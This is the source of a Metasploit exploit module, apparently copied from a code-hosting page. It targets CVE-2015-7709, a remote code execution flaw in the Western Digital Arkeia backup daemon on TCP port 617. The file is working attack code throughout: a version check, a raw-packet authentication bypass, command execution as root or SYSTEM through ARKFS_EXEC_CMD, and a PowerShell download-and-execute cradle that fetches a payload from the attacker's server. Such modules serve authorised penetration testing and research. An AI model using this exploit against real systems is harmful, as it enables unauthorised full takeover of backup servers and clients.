Path: blob/master/modules/exploits/multi/misc/arkeia_agent_exec.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::HttpServer::HTML10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Western Digital Arkeia Remote Code Execution',18'Description' => %q{19This module exploits a code execution flaw in Western Digital Arkeia version 11.0.12 and below.20The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617. Because there are21insufficient checks on the authentication of all clients, this can be bypassed.22Using the ARKFS_EXEC_CMD operation it's possible to execute arbitrary commands with root or23SYSTEM privileges.24The daemon is installed on both the Arkeia server as well on all the backup clients. The module25has been successfully tested on Windows, Linux, OSX, FreeBSD and OpenBSD.26},27'Author' => [28'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module29],30'License' => MSF_LICENSE,31'References' => [32[ 'CVE', '2015-7709' ],33[ 'EDB', '37600' ],34[ 'URL', 'https://seclists.org/fulldisclosure/2015/Jul/54' ]35],36'Privileged' => true,37'Stance' => Msf::Exploit::Stance::Aggressive,38'Payload' => {39'DisableNops' => true40},41'Targets' => [42[43'Windows',44{45'Arch' => ARCH_X86,46'Platform' => 'win',47}48],49[50'Linux',51{52'Arch' => ARCH_CMD,53'Platform' => 'unix',54'Payload' =>55{56'DisableNops' => true,57'Space' => 60000,58'Compat' => {59'PayloadType' => 'cmd cmd_bash',60'RequiredCmd' => 'perl python bash-tcp gawk openssl'61}62}63}64]65],66'DefaultTarget' => 0,67'DisclosureDate' => '2015-07-10',68'Notes' => {69'Reliability' => UNKNOWN_RELIABILITY,70'Stability' => UNKNOWN_STABILITY,71'SideEffects' => UNKNOWN_SIDE_EFFECTS72}73)74)7576register_options(77[78Opt::RPORT(617),79OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15])80]81)82end8384def check85connect8687req = "\x00\x41"88req << "\x00" * 589req << "\x73"90req << "\x00" * 1291req << "\xc0\xa8\x02\x74"92req << "\x00" * 5693req << "\x74\x02\xa8\xc0"94req << 'ARKADMIN'95req << "\x00"96req << 'root'97req << "\x00"98req << 'root'99req << "\x00" * 3100req << '4.3.0-1' # version?101req << "\x00" * 11102103sock.put(req)104105header = sock.get_once(6)106unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"107disconnect108return Exploit::CheckCode::Unknown109end110111data_length = sock.get_once(2)112113unless data_length && data_length.length == 2114disconnect115return Exploit::CheckCode::Unknown116end117118data_length = data_length.unpack('n')[0]119120data = sock.get_once(data_length)121unless data && data.length == data_length122disconnect123return Exploit::CheckCode::Unknown124end125126req = "\x00\x73"127req << "\x00" * 5128req << "\x0c\x32"129req << "\x00" * 11130131sock.put(req)132header = sock.get_once(6)133unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"134disconnect135return Exploit::CheckCode::Unknown136end137138data_length = sock.get_once(2)139140unless data_length && data_length.length == 2141disconnect142return Exploit::CheckCode::Unknown143end144145data_length = data_length.unpack('n')[0]146147data = sock.get_once(data_length)148unless data && data.length == data_length149disconnect150return Exploit::CheckCode::Unknown151end152153req = "\x00\x61\x00\x04\x00\x01\x00\x11\x00\x00\x31\x00"154req << 'EN' # Language155req << "\x00" * 11156157sock.put(req)158header = sock.get_once(6)159160unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"161disconnect162return Exploit::CheckCode::Unknown163end164165data_length = sock.get_once(2)166167unless data_length && data_length.length == 2168disconnect169return Exploit::CheckCode::Unknown170end171172data_length = data_length.unpack('n')[0]173174unless data_length == 0175disconnect176return Exploit::CheckCode::Unknown177end178179# ARKADMIN_GET_CLIENT_INFO180req = "\x00\x62\x00\x01"181req << "\x00" * 3182req << "\x26"183req << 'ARKADMIN_GET_CLIENT_INFO' # Function to request agent information184req << "\x00\x32\x38"185req << "\x00" * 11186187sock.put(req)188189header = sock.get_once(6)190unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"191disconnect192return Exploit::CheckCode::Unknown193end194195data_length = sock.get_once(2)196197unless data_length && data_length.length == 2198disconnect199return Exploit::CheckCode::Unknown200end201202data_length = data_length.unpack('n')[0]203unless data_length == 0204disconnect205return Exploit::CheckCode::Unknown206end207208req = "\x00\x63\x00\x04\x00\x00\x00\x12\x30\x00\x31\x00\x32\x38"209req << "\x00" * 12210211sock.put(req)212213# 1st packet214215header = sock.get_once(6)216unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"217disconnect218return Exploit::CheckCode::Unknown219end220221data_length = sock.get_once(2)222223unless data_length && data_length.length == 2224disconnect225return Exploit::CheckCode::Unknown226end227228data_length = data_length.unpack('n')[0]229230data = sock.get_once(data_length)231unless data && data.length == data_length232disconnect233return Exploit::CheckCode::Unknown234end235236# 2nd packet237238header = sock.get_once(6)239unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"240disconnect241return Exploit::CheckCode::Unknown242end243244data_length = sock.get_once(2)245246unless data_length && data_length.length == 2247disconnect248return Exploit::CheckCode::Unknown249end250251data_length = data_length.unpack('n')[0]252253data = sock.get_once(data_length)254unless data && data.length == data_length255disconnect256return Exploit::CheckCode::Unknown257end258259# 3rd packet260261header = sock.get_once(6)262unless header && header.length == 6 && header[0, 4] == "\x00\x65\x00\x04"263disconnect264return Exploit::CheckCode::Unknown265end266267data_length = sock.get_once(2)268269unless data_length && data_length.length == 2270disconnect271return Exploit::CheckCode::Unknown272end273274data_length = data_length.unpack('n')[0]275276data = sock.get_once(data_length)277unless data && data.length == data_length && data.include?('You have successfully retrieved client information')278disconnect279return Exploit::CheckCode::Unknown280end281282# 4th packet283284header = sock.get_once(6)285unless header && header.length == 6 && header[0, 4] == "\x00\x69\x00\x04"286disconnect287return Exploit::CheckCode::Unknown288end289290data_length = sock.get_once(2)291292unless data_length && data_length.length == 2293disconnect294return Exploit::CheckCode::Unknown295end296297data_length = data_length.unpack('n')[0]298299data = sock.get_once(data_length)300unless data && data.length == data_length301disconnect302return Exploit::CheckCode::Unknown303end304305if data =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/306version = $1307vprint_status("#{rhost}:#{rport} - Arkeia version detected: #{version}")308if Rex::Version.new(version) <= Rex::Version.new('11.0.12')309return Exploit::CheckCode::Appears310else311return Exploit::CheckCode::Safe312end313else314vprint_status("#{rhost}:#{rport} - Arkeia version not detected")315return Exploit::CheckCode::Unknown316end317end318319def exploit320if target.name =~ /Windows/321322@down_file = rand_text_alpha(8 + rand(8))323@pl = generate_payload_exe324325begin326Timeout.timeout(datastore['HTTP_DELAY']) { super }327rescue Timeout::Error328end329elsif target.name =~ /Linux/330communicate(payload.encoded)331return332end333end334335def primer336@payload_url = get_uri337338# PowerShell web download. The char replacement is needed because using the "/" character twice (like http://)339# is not possible on Windows agents.340command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"#{@payload_url.gsub(/\//, '$($s)')}\\\";"341command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');"342command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\""343344communicate(command)345end346347def communicate(command)348print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon")349350connect351352print_status("#{rhost}:#{rport} - Sending agent communication")353354req = "\x00\x41\x00\x00\x00\x00\x00\x70"355req << "\x00" * 12356req << "\xc0\xa8\x02\x8a"357req << "\x00" * 56358req << "\x8a\x02\xa8\xc0"359req << 'ARKFS'360req << "\x00"361req << 'root'362req << "\x00"363req << 'root'364req << "\x00" * 3365req << '4.3.0-1' # Client version ?366req << "\x00" * 11367368sock.put(req)369370header = sock.get_once(6)371unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"372disconnect373fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")374end375376data_length = sock.get_once(2)377378unless data_length && data_length.length == 2379disconnect380fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")381end382383data_length = data_length.unpack('n')[0]384385data = sock.get_once(data_length)386unless data && data.length == data_length387disconnect388fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")389end390391req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32"392req << "\x00" * 11393394sock.put(req)395header = sock.get_once(6)396unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"397disconnect398fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")399end400401data_length = sock.get_once(2)402403unless data_length && data_length.length == 2404disconnect405fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")406end407408data_length = data_length.unpack('n')[0]409410data = sock.get_once(data_length)411unless data && data.length == data_length412disconnect413fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")414end415416req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00"417req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID?418req << "\x00"419req << 'EN' # English language?420req << "\x00" * 11421422sock.put(req)423header = sock.get_once(6)424unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"425disconnect426fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")427end428429data_length = sock.get_once(2)430431unless data_length && data_length.length == 2432disconnect433fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")434end435436data_length = data_length.unpack('n')[0]437438unless data_length == 0439disconnect440fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")441end442443req = "\x00\x62\x00\x01\x00\x02\x00\x1b"444req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges445req << "\x00\x31"446req << "\x00" * 11447448sock.put(req)449450header = sock.get_once(6)451unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"452disconnect453fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")454end455456data_length = sock.get_once(2)457458unless data_length && data_length.length == 2459disconnect460fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")461end462463data_length = data_length.unpack('n')[0]464465unless data_length == 0466disconnect467fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")468end469470req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c"471req << "\x00" * 11472473sock.put(req)474475command_length = '%02x' % command.length476command_length = command_length.scan(/../).map { |x| x.hex.chr }.join477478req = "\x00\x64\x00\x04\x00\x04"479req << [command.length].pack('n')480req << command # Our command to be executed481req << "\x00"482483print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD")484485sock.put(req)486487header = sock.get_once(6)488unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"489disconnect490fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")491end492493data_length = sock.get_once(2)494495unless data_length && data_length.length == 2496disconnect497fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")498end499500data_length = data_length.unpack('n')[0]501502data = sock.get_once(data_length)503unless data && data.length == data_length504disconnect505fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")506end507508# 1st Packet509510header = sock.get_once(6)511unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"512disconnect513fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")514end515516data_length = sock.get_once(2)517518unless data_length && data_length.length == 2519disconnect520fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")521end522523data_length = data_length.unpack('n')[0]524525data = sock.get_once(data_length)526unless data && data.length == data_length527disconnect528fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")529end530531# 2st Packet532533header = sock.get_once(6)534unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"535disconnect536fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")537end538539data_length = sock.get_once(2)540541unless data_length && data_length.length == 2542disconnect543fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")544end545546data_length = data_length.unpack('n')[0]547548data = sock.get_once(data_length)549unless data && data.length == data_length550disconnect551fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")552end553end554555def on_request_uri(cli, request)556print_status("Request: #{request.uri}")557if request.uri == get_resource558print_status('Sending payload...')559send_response(cli, @pl)560register_files_for_cleanup("c:\\#{@down_file}.exe")561end562end563564def autofilter565true566end567end568569570